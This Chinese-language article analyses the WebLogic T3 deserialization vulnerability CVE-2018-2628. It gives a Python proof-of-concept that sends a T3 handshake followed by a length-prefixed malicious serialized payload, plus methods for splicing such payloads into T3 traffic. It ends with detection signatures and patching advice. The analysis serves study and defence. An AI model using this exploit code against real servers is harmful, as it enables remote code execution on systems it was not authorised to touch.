从CVE-2018-2628POC看T3反序列化
字数 988 2025-08-15 21:31:54
WebLogic T3协议反序列化漏洞分析(CVE-2018-2628)
0x00 漏洞概述
CVE-2018-2628是Oracle WebLogic Server中的一个高危漏洞,攻击者可以通过T3协议发送恶意序列化数据,导致远程代码执行。该漏洞存在于WebLogic的核心组件中,影响多个版本的WebLogic Server。
0x01 T3协议基础
T3握手过程
WebLogic的T3协议通信始于一个握手过程,客户端首先发送握手信息:
hello = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
关键字段说明:
t3 12.2.1: 协议版本AS:255: 应答最大大小HL:19: 头部长度MS:10000000: 最大消息大小PU:t3://us-l-breens:7001: 协议URL
T3协议特点
- 基于TCP协议
- 使用Java序列化传输对象
- 数据流由多段序列化数据组成
- 序列化数据以
ac ed 00 05开头
0x02 漏洞利用分析
POC结构
完整POC分为三部分:
- T3握手
- 构造恶意序列化数据
- 发送攻击载荷
关键代码分析
def t3():
# 1. 建立连接并发送T3握手信息
hello = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1', 7001))
sock.send(hello.encode('utf-8'))
# 2. 接收服务器响应
resp1 = sock.recv(1024)
# 3. 构造攻击载荷
data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
# 4. 读取序列化攻击载荷
with open('poc', 'rb') as f:
a = binascii.b2a_hex(f.read()).decode('utf-8')
# 5. 组合数据并计算长度
data = data1 + a
data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
# 6. 发送攻击载荷
sock.send(binascii.a2b_hex(data))
数据包结构
攻击数据包由以下几部分组成:
- 长度头:
{:08x}格式化的8位16进制长度值 - 固定头部:
data1中的固定字节序列 - 恶意序列化数据:从
poc文件读取的序列化对象
序列化数据特征
- Java序列化数据以
ac ed 00 05开头 - 可以使用ysoserial等工具生成恶意序列化对象
- 在流量分析中,
ac ed是识别Java序列化的重要特征
0x03 漏洞利用方法
方法一:替换部分序列化数据
- 截取正常T3通信流量
- 找到
ac ed 00 05开头的序列化数据段 - 用恶意序列化数据替换其中一段
方法二:完全替换序列化数据
- 保留T3协议头部
- 用单一恶意序列化对象替换所有序列化数据
- 重新计算数据包长度
0x04 攻击检测
检测方法:
- 监控网络流量中的
ac ed 00 05或ac ed特征 - 检查WebLogic日志中的异常T3连接
- 分析异常Java反序列化操作
防御建议:
- 限制T3协议的访问权限
- 及时安装官方补丁
- 使用WebLogic的默认安全配置